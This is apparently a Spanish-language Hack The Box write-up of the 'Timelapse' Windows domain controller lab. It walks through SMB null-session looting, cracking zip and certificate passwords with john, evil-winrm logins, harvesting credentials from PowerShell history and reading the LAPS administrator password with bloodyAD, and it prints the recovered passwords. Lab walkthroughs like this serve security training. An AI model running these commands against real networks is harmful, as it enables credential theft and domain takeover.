Skip to content

Timelapse HTB Write Up

alt text

Información del Objetivo

IP de la Máquina: 10.10.11.152

1. Reconocimiento Inicial

1.1 Escaneo de Puertos

sudo nmap -sS -p- --min-rate 5000 -n -vvv -Pn --open 10.10.11.152 -oG allPorts

alt text

nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49690,49716 10.10.11.152 -oN targeted

alt text

Siguiendo esa captura de pantalla, agreguemos estos hosts a nuestro /etc/hosts:

echo "10.10.11.152 dc01.timelapse.htb timelapse.htb" | sudo tee -a /etc/hosts

2. Accediendo a Recursos Compartidos SMB mediante Sesión Nula

Ahora, intentemos ver qué recursos compartidos podemos acceder abusando de una sesión nula en el puerto 445 (SMB).

alt text

Uno de los recursos compartidos disponibles se llama 'Shares', así que echemos un vistazo.

Dentro, hay dos carpetas, así que ejecuté recurse ON y prompt OFF, luego descargué todos los archivos usando mget*

alt text

3. Descargando y Crackeando Archivos Protegidos

Dentro de la carpeta Dev podemos ver un .zip pero está protegido con contraseña.

alt text

Así que intentemos crackear este .zip.

Para eso usé este comando:

zip2john winrm_backup.zip > hash.txt

And then I crack it with john with that command:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

alt text

Y tenemos la contraseña de este .zip.

supremelegacy

Así que ahora descomprimámoslo.

alt text

4. Extrayendo y Usando el Certificado para Autenticación

Si intentamos convertirlo a .pem, nos daremos cuenta de que está protegido con contraseña, así que crackeemos esta contraseña pfx. Para ello usé pfx2john.

pfx2john legacyy_dev_auth.pfx > pfxhash.txt

And then I crack it with john with that command:

john --wordlist=/usr/share/wordlists/rockyou.txt pfxhash.txt

Y tenemos la contraseña.

alt text

thuglegacy

Luego podemos ejecutar este comando para obtener el .pem.

openssl pkcs12 -in legacyy_dev_auth.pfx -out legacyy.pem -nodes

Aquí pedirá una contraseña, así que ponemos la que crackeamos.

5. Autenticación Basada en Certificado con Evil-WinRM

Luego podemos usar evil-winrm con este certificado.

evil-winrm -i 10.10.11.152 -u legacyy.dev -S -c legacyy.pem -k legacyy.pem -r TIMELAPSE.HTB

La primera flag se puede encontrar en la siguiente ruta.

type C:\Users\legacyy\Desktop\user.txt

alt text

6. Escalada de Privilegios

Para la escalada de privilegios, principalmente comencé subiendo SharpHound.exe a la máquina y ejecutándolo.

Después de eso, descargué el .zip que generó y lo subí a mi base de datos de bloodhound.

alt text

Aquí subo los datos.

alt text

Pero después de revisar, no encontré nada.

Así que fui más allá y comencé a enumerar cosas internas como el historial. En este archivo encontré las credenciales de svc_deploy.

Así es como lo hago.

7. Enumeración del Historial de PowerShell y Descubrimiento de Credenciales

type "$env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
alt text

Así que, como tenemos estas credenciales, iniciemos sesión via winrm.

8. Autenticándose como svc_deploy via WinRM

evil-winrm -i 10.10.11.152 -u svc_deploy -p'E3R$Q62^12p7PLlC%KWaxuaV' -S
alt text

9. Abusando de LAPS con BloodyAD

Ahora volvamos a Bloodhound y marquemos al usuario svc_deploy como Owned (En posesión) y recuperé su Outbound Object Control. Aquí tenemos ReadLAPSPassword.

alt text

Para abusar de eso, usé bloodyAD.

Aquí está el comando que usé:

bloodyAD --host 10.10.11.152 -d timelapse.htb -u svc_deploy -p'E3R$Q62^12p7PLlC%KWaxuaV' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

alt text

Así que intentemos usar esta contraseña para el usuario administrator.

10. Acceso como Administrador y Captura de la Flag de Root

evil-winrm -i 10.10.11.152 -u Administrator -p'kU9H(DaF0ZN0v&UIU3(gNU(]' -S

La flag de root se puede encontrar en la siguiente ruta.

type C:\Users\TRX\Desktop\root.txt

alt text

Autor: Astro